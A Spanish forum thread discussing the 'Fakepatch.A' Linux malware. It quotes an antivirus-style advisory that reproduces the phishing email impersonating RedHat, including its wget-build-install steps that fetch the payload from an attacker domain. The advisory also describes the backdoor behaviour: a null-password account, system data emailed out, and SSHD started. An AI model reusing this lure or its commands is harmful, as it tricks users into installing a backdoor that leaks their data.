Nuevo virus que afecta a los sistemas de Linux.

[Cuervo]

Nuevo virus que afecta a los sistemas de Linux.

Llamado “Fakepatch.A”, emplea recursos de ingeniería social similares a los que están afectando a Windows, engañando a los usuarios informando sobre una vulnerabilidad.

El mensaje informa sobre una supuesta vulnerabilidad e indica desde donde descargar el parche para resolver el tema. Al bajar el falso parche, el virus puede recopilar información de la red y del sistema, y enviarla por e-mail a un atacante virtual.

El código malicioso “ELF FAKEPATCH.A” se auto ejecuta en los sistemas Linux. Este virus recopila información sobre la red y el sistema y la envía por correo electrónico a un virtual atacante, dejando abierta una interfase que permite a quien posea la información adecuada, conectarse con la computadora infectada de manera segura, correr comandos y acceder a información resguardada en el sistema.

Con este tipo de virus, los productos tradicionales antivirus pueden no ser tan hábiles para detectar la trampa, Solo las más avanzadas tecnologías heurísticas de prevención de amenazas podrán localizar los riesgos contenidos en este mensaje.

[Cadarlion]

Details:



This Elf executable arrives on a system via email with the following details:


Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT ed. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

* First download the patch from the Security RedHat mirror:
wget www.fedora-redhat.com/fileutils-1.0.6.pa<BLOCKED>.gz
* Untar the patch: tar zxvf fileutils-1.0.6.pa<BLOCKED>.gz
* cd fileutils-1.0.6.pa<BLOCKED>
* make
* ./inst

Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

(Note: The said site is currently unavailable.)

When the file fileutils-1.0.6.pa<BLOCKED>.gz is downloaded, the following files can be found:

Inst.c – source code of this malware
Makefile – used to compile inst.c
When this Elf executable is already compiled, it produces the shell code that retrieves information from a machine.

Payload

The shell code of this Elf executable first checks if it is executed in the root level. If not, it displays the following line in a console:

This patch must be applied as "root", and you are: %User%

(Note: %User% is the currently logged on user.)

Afterward, it adds the user bash with a null password and creates the file mama inside the temporary folder. It then obtains network configuration and system information, and saves them in the file mama. Next, it sends the said file to the email address root@addlebrain.com.

After the said routine, it deletes the file from the system and start SSHD (Secure Shell Server).

(Note: A Secure Shell Server provides secure encrypted communications between untrusted hosts over an untrusted network. It allows users to connect to a system from another system via TCP/IP, and obtain a shell prompt, from which they can issue commands and view output.)




Si alguien tiene una copia de este virus mandemelo a cadarlion@gmail.com asi lo puedo ver en accion.
Gracias

[KvocheX]

Joer, todo eso suena bastante mistico... primero no entendí como logra la SUID... onda que el que descaga el archivo por error y de donde, debería ser el root... me explicas eso cadarlion?